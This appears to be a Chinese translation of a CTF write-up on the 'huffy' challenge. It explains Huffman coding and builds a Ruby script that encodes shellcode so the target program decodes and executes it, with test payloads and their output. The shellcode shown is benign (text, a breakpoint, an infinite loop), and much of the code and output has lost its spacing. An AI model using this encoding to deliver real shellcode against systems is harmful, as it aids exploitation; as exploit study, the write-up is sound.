初次见到“shellcode”当你感觉很高的时候,事实上,经过长时间的接触,你会发现它实际上只是一个代码(或填写数据),是一个有针对性的代码,用于发送到服务器使用特定的漏洞,通常可以使用它获得一定的权限。今天我们将一起学习一个新的shellcode编码方式——Huffy,也就是说,基于哈夫曼shellcode,这种方法利用哈夫曼树压缩数据的特性shellcode为了实现数据压缩“短小精悍”的目的。
哈夫曼树
因为这种方法叫做Huffy,最近,我刚刚解决了一个关于哈夫曼树的问题,所以我首先想到的是哈夫曼树。
如果你还不知道什么是哈夫曼树,我在这里简单提一下。哈夫曼树是一种相当简单的数据结构,可以用来压缩数据。哈夫曼树的建立是通过阅读输入内容,然后创建一棵树产生频率***字符靠近树顶,频率高***靠近树底的字符。
为了压缩数据,它将通过整棵树生成编码位(左边的编码为0,右边的编码为1)。字符越靠近树的顶部,字符编码后使用的位数就越少,这也被称为“前缀码”,这是一个非常简单的属性,这意味着没有编码的位串将被用作另一个位串的前缀(换句话说,当你阅读二进制位流时,你可以立即知道解码字符何时结束)。
例如下面的哈夫曼树:
通过哈夫曼树,我们可以知道它来自一个包含9个字符的文本,其中5字符是字母“o”,3字符是字母“d”,1字符是字母“g”。
因此,当你用树压缩数据时,你可以使用单词“dog”处理如下:
d=00(左左)o=1(右)g=01(左右)所以,“dog”将编码成位流“00101”。
假如你看到以位流“01100”您可以根据上面的哈夫曼树解码字符串:左右(g)、右(o)、左左(d),因此,解码得到字符串的内容“god”。
若一个字符串中所有字符的数量相同,且不同字符的类型为2的整数幂(例如:“aabbccdd”在中间,不同字符的类型是4,即2平方),你需要用平衡的哈夫曼树来表示。例如,字符串“aaabbbcccddd”哈夫曼树将以下形式表示:
通过查找上图中的哈夫曼树,字符串“abcd”将会编码成“00011011”。哈夫曼树的这一特点非常重要。#p#
程序分析
当您操作程序时,它会提示您输入,在输入相应的内容后,它会输出一堆毫无意义的东西(尽管输出使我们更容易理解)。请参见以下示例:
$echo'thisisateststring'|./huffyCWD:/home/ron/gits2015/huffyNibbleFrequency---------------00.11363610.02272720.11363630.09090940.09090950.02272760.18181870.22727380.02272790.068182a0.022727b0.000000c0.000000d0.000000e0.022727f0.000000Read22bytesTwolowestfrequencies:0.000000and0.000000Twolowestfrequencies:0.000000and0.000000Twolowestfrequencies:0.000000and0.000000Twolowestfrequencies:0.000000and0.022727Twolowestfrequencies:0.022727and0.022727Twolowestfrequencies:0.022727and0.022727Twolowestfrequencies:0.022727and0.045455Twolowestfrequencies:0.045455and0.068182Twolowestfrequencies:0.068182and0.090909Twolowestfrequencies:0.090909and0.113636Twolowestfrequencies:0.113636and0.113636Twolowestfrequencies:0.159091and0.181818Twolowestfrequencies:0.204545and0.227273Twolowestfrequencies:0.227273and0.227273Twolowestfrequencies:0.340909and0.431818Twolowestfrequencies:0.454545and0.454545Twolowestfrequencies:0.772727and0.909091Breaking!0--0-->0x9863348--1-->0x9863390--1-->0x98633c0--1-->0x98633d81--0-->0x98632b8--1-->0x98632e8--0-->0x9863318--0-->0x9863360--0-->0x98633a8--0-->0x98633d82--1-->0x9863348--1-->0x9863390--1-->0x98633c0--1-->0x98633d83--1-->0x9863318--0-->0x9863360--0-->0x98633a8--0-->0x98633d84--0-->0x9863330--0-->0x9863378--1-->0x98633a8--0-->0x98633d85--0-->0x98632d0--0-->0x9863300--1-->0x9863330--0-->0x9863378--1-->0x98633a8--0-->0x98633d86--1-->0x9863360--0-->0x98633a8--0-->0x98633d87--1-->0x9863378--1-->0x98633a8--0-->0x98633d88--0-->0x98632e8--0-->0x9863318--0-->0x9863360--0-->0x98633a8--0-->0x98633d89--1-->0x9863300--1-->0x9863330--0-->0x9863378--1-->0x98633a8--0-->0x98633d8a--1-->0x98632d0--0-->0x9863300--1-->0x9863330--0-->0x9863378--1-->0x98633a8--0-->0x98633d8b--0-->0x9863258--0-->0x9863270--0-->0x9863288--0-->0x98632a0--1-->0x98632b8--1-->0x98632e8--0-->0x9863318--0-->0x9863360--0-->0x98633a8--0-->0x98633d8c--1-->0x9863288--0-->0x98632a0--1-->0x98632b8--1-->0x98632e8--0-->0x9863318--0-->0x9863360--0-->0x98633a8--0-->0x98633d8d--1-->0x9863270--0-->0x9863288--0-->0x98632a0--1-->0x98632b8--1-->0x98632e8--0-->0x9863318--0-->0x9863360--0-->0x98633a8--0-->0x98633d8e--1-->0x98632a0--1-->0x98632b8--1-->0x98632e8--0-->0x9863318--0-->0x9863360--0-->0x98633a8--0-->0x98633d8f--1-->0x9863258--0-->0x9863270--0-->0x9863288--0-->0x98632a0--1-->0x98632b8--1-->0x98632e8--0-->0x9863318--0-->0x9863360--0-->0x98633a8--0-->0x98633d8Encodinginput...ASCIIEncoded:011010000100000001010110110001111111100010101101100011111111000100001011111110011010000101010001100010110100111111100110001011010001111110010101100100001110010111110010101BinaryEncoded:h@V????Q?O?-????Executingencodedinput...Segmentationfault可能需要一点时间才能理解,但一旦你理解了,你会发现输出的内容非常直接。
***部分分析了每个半字节(半字节代表16个进制字符或字节的一半)的频率。这部分结果告诉我们,程序以半字节的形式压缩数据,然后分析输入内容中字符的频率,***显示了16个可能半字节的编码结果。
编码后,将这些位置转换成长的二进制码流,然后运行。
流程总结:先输入一些数据,然后用哈夫曼编码压缩半字节,***将其转换为可执行代码,我们使用哈夫曼算法压缩它shellcode。
为了简单起见,我还是用一些shell为了方便我更好地分析输出内容:
$ echo 'this is a test string' | ./huffy | sed -re 's/ --/ /' -e 's/--> .{9} --//g' -e 's/--> .*//'结果如下:
[...]001111010000211113100040010500101061007110800000911010a101010b0000110000c10110000d100110000e1110000f1000110000Encodinginput...ASCIIEncoded:011010000100000001010110110001111111100010101101100011111111000100001011111110011010000101010001100010110100111111100110001011010001111110010101100100001110010111110010101若尝试输入“AAAA”,您将得到以下结果:
$echo'AAAA'|./huffy|sed-re's/--//'-e's/-->.{9}--//g'-e's/-->.*//'[...]001011020000000000001101310110141151001101610001101710000110181000001101910000001101a11101b100000001101c1000000001101d10000000001101e100000000001101f1000000000001101Encodinginput...ASCIIEncoded:110110110110101010111BinaryEncoded:若尝试输入“AAAA”,您将得到以下结果:
你可能知道“AAAA”=“41414141”(ASCII代码表示),所以4和1成了最常用的半字节,上图也证实了4被编码成11,1被编码成0。我们希望用一个换行符\x0a所以0和结束a也要编码。
若将这些字符分开,可获得以下内容:
ASCII Encoded: 1100 110 110 110 10111需要注意的是,图中编码后的结果都被逆序了,虽然'11'和'0'其实并不受逆序的影响,但是'1010'='0101'='0','10111'='11101'='a说实话,一开始我并没有注意到逆序问题的存在,但我以一种新的方式解决了这个问题。
你还记得上面说的吗?如果有一棵平衡树含有2个功率二次方节点,所有字符都将被编码成相同的位数。事实证明,有16个不同的半字节,所以如果你输入的字符串中有偶数的半字节,它们将被编码成4:
$echo-ne'\x01\x23\x45\x67\x89\xab\xcd\xef'|./huffy|sed-re's/--//'-e's/-->.{9}--//g'-e's/-->.*//'00000100012001130010401105011160101701008110091101a1111b1110c1010d1011e1001f1000它们不仅被编码成4位,而且每个可能的4位值都被列出。#p#
方法使用
其实这种方法使用起来很简单,需要做的就是简单的查表:
1、首先计算半字节对应编码后的二进制位;
2、以这些半字节为例shellcode写出来;
3、填充shellcode,直到每个半字节都有相同的数量。
这是相当直观的,你可以参考我所有的代码,或者根据实际情况使用下面的片段。
首先,创建一个手表以下是我手工创建的):
@@table={"0000"=>0x0,"0001"=>0x1,"0011"=>0x2,"0010"=>0x3,"0110"=>0x4,"0111"=>0x5,"0101"=>0x6,"0100"=>0x7,"1100"=>0x8,"1101"=>0x9,"1111"=>0xa,"1110"=>0xb,"1010"=>0xc,"1011"=>0xd,"1001"=>0xe,"1000"=>0xf,}然后,将shellcode进行编码:
defencode_nibble(b)binary=b.to_s(2).rjust(4,'0')puts("Lookingup%s...=>%x"%[binary,@@table[binary]])return@@table[binary]end@@hist=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0#shellcode="\xeb\xfe"#shellcode="\xcd\x03"shellcode="helloworld,thisismyshellcode!"shellcode.each_bytedo|b|n1=b>>4n2=b&0x0fputs("n1=%x"%n1)puts("n2=%x"%n2)@@hist[n1] =1@@hist[n2] =1out =((encode_nibble(n1)<<4)|(encode_nibble(n2)&0x0F)).chrend需要注意的是,我保存了一个直方图,可以使用它***一步实现更简单,然后根据需要填写字符串:
defget_padding()result=""max=@@hist.maxneeded_nibbles=[]0.upto(@@hist.length-1)do|i|needed_nibbles<<[i]*(max-@@hist[i])needed_nibbles.flatten!endif((needed_nibbles.length%2)!=0)puts("Weneedanoddnumberofnibbles!AddsomeNOPsorsomething:(")exitend0.step(needed_nibbles.length-1,2)do|i|n1=needed_nibbles[i]n2=needed_nibbles[i 1]result =((encode_nibble(n1)<<4)|(encode_nibble(n2)&0x0f)).chrendreturnresultend现在输出应该包含一串对应的shellcode半字节,应该是这样的。
***,输出:
defoutput(str)print"echo-ne'"str.bytes.eachdo|b|print("\\xx"%b)endputs("'>in;./huffy<in")end#p#
修复bug
你注意到我刚才做错了什么吗?事实上,当我试图编码时,我刚刚犯了一个大错误“hello world,this is my shellcode!”我得到以下结果:
echo-ne'\x4f\x46\x48\x48\x4a\x30\x55\x4a\x53\x48\x47\x38\x30\x57\x4f\x4e\x52\x30\x4e\x52\x30\x49\x5e\x30\x52\x4f\x46\x48\x48\x42\x4a\x47\x46\x31\x00\x00\x00\x00\x00\x00\x00\x01\x11\x11\x11\x11\x11\x11\x11\x11\x11\x33\x33\x33\x33\x33\x33\x22\x22\x22\x22\x22\x22\x22\x22\x77\x77\x77\x77\x77\x77\x77\x77\x76\x66\x66\x66\x66\x66\x66\x66\x66\x55\x55\x55\x55\x55\x55\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xee\xee\xee\xee\xee\xee\xee\xee\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\x88\x88\x88\x88\x88\x88\x88\x99\x99\x99\x99\x99\x99\x99\x99\x99\x9b\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xba\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'>in;./huffy<in将上述结果转换为可视字符后:
ajcco@?o?cbC@?ai?@i?@k?@?ajcclobj?????????DDDDDD????????""""""""*??????????????????????UUUUUUUUUU??????????3333333??????????wwwwwwwww????????发生了什么事?这不是我之前输入的字符串。
然而,观察字符串“ajcco”开头,我之前输入的字符串是以“hello”开头。然后得到半字节和字符的对应表,如下所示:
00000100012001130010401105011160101701008110091101a1111b1110c1010d1011e1001f1000为了解决这个问题,我试了以下几点shellcode:
"\x01\x23\x45\x67\x89\xab\xcd\xef"然后编码,得到以下结果:
0000100001001100001010100110111000011001010111010011101101111111以十六进制为代表:
"\x08\x4c\x3a\x6e\x19\x5d\x3b\x7f"或以半字节的形式表示:
0000100001001100001010100110111000011001010111010011101101111111如果我花更多的精力观察,我应该早就发现这个明显的问题:逆序问题。
因为之前急于完成,没有注意到每个半字节的每个人都被逆序(1000而不是001、0100而不是0010等。
虽然我以前没有注意到这个问题,但我发现所有的结果都是完全错误的,所以我做了以下内容:
hack_table={0x02=>0x08,0x0d=>0x09,0x00=>0x00,0x08=>0x02,0x0f=>0x01,0x07=>0x03,0x03=>0x07,0x0c=>0x06,0x04=>0x04,0x0b=>0x05,0x01=>0x0f,0x0e=>0x0e,0x06=>0x0c,0x09=>0x0d,0x05=>0x0b,0x0a=>0x0a}hack_out=""out.bytes.eachdo|b|n1=hack_table[b>>4]n2=hack_table[b&0x0f]hack_out =((n1<<4)|(n2&0x000f)).chrendoutput(hack_out)然后使用原始测试shellcode程序重新运行:
$ruby./sploit.rbecho-ne'\x41\x4c\x42\x42\x4a\x70\xbb\x4a\xb7\x42\x43\x72\x70\xb3\x41\x4e\xb8\x70\x4e\xb8\x70\x4d\xbe\x70\xb8\x41\x4c\x42\x42\x48\x4a\x43\x4c\x7f\x00\x00\x00\x00\x00\x00\x00\x0f\xff\xff\xff\xff\xff\xff\xff\xff\xff\x77\x77\x77\x77\x77\x77\x88\x88\x88\x88\x88\x88\x88\x88\x33\x33\x33\x33\x33\x33\x33\x33\x3c\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb\x11\x11\x11\x11\x11\x11\x11\x11\x1e\xee\xee\xee\xee\xee\xee\xee\xee\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x22\x22\x22\x22\x22\x22\x22\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xd5\x55\x55\x55\x55\x55\x55\x55\x55\x55\x5a\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'>in;./huffy<in运行上面我得到的代码后,结果如下:
$echo-ne'\x41\x4c\x42\x42\x4a\x70\xbb\x4a\xb7\x42\x43\x72\x70\xb3\x41\x4e\xb8\x70\x4e\xb8\x70\x4d\xbe\x70\xb8\x41\x4c\x42\x42\x48\x4a\x43\x4c\x7f\x00\x00\x00\x00\x00\x00\x00\x0f\xff\xff\xff\xff\xff\xff\xff\xff\xff\x77\x77\x77\x77\x77\x77\x88\x88\x88\x88\x88\x88\x88\x88\x33\x33\x33\x33\x33\x33\x33\x33\x3c\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb\x11\x11\x11\x11\x11\x11\x11\x11\x1e\xee\xee\xee\xee\xee\xee\xee\xee\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x22\x22\x22\x22\x22\x22\x22\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xd5\x55\x55\x55\x55\x55\x55\x55\x55\x55\x5a\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'>in;./huffy<in二进制编码结果如下:
helloworld,thisismyshellcode!""""""33333333DDDDDDDDEUUUUUUUUwwwwww????????????????????????????????????????????????????????????????????????Executingencodedinput...Segmentationfault现在看起来很正常,通过修改错误可以正确解码。让我们再试我最喜欢的两个测试字符串“\xcd\x03”(也可以使用调试断点“\ xcc”)和“\ xeb \ xfe”(无限循环):
$ruby./sploit.rbecho-ne'\x2d\x08\xf7\x3c\x4b\x1e\x69\x5a'>in;./huffy<in$echo-ne'\x2d\x08\xf7\x3c\x4b\x1e\x69\x5a'>in;./huffy<inBinaryEncoded:?Eg???Executingencodedinput...Trace/breakpointtrap$ruby./sploit.rbecho-ne'\x59\xa5\x00\xff\x77\x88\x33\xcc\x44\xbb\x11\xee\x66\x92\x2d\xda'>in;./huffy<in$echo-ne'\x59\xa5\x00\xff\x77\x88\x33\xcc\x44\xbb\x11\xee\x66\x92\x2d\xda'>in;./huffy<inBinaryEncoded:??"3DUfw??????Executingencodedinput...[...infiniteloop...]总结
一般来说,使用哈夫曼编码处理shellcode这是一种非常直观的方法,通过压缩你在半字节中输入的数据,然后得编码shellcode,经验证,这种方法压缩后shellcode能正常运行。
***,使用这种方法时,目标可以设定shellcode填充得到1024个半字节,接着进行哈夫曼编码并进行利用。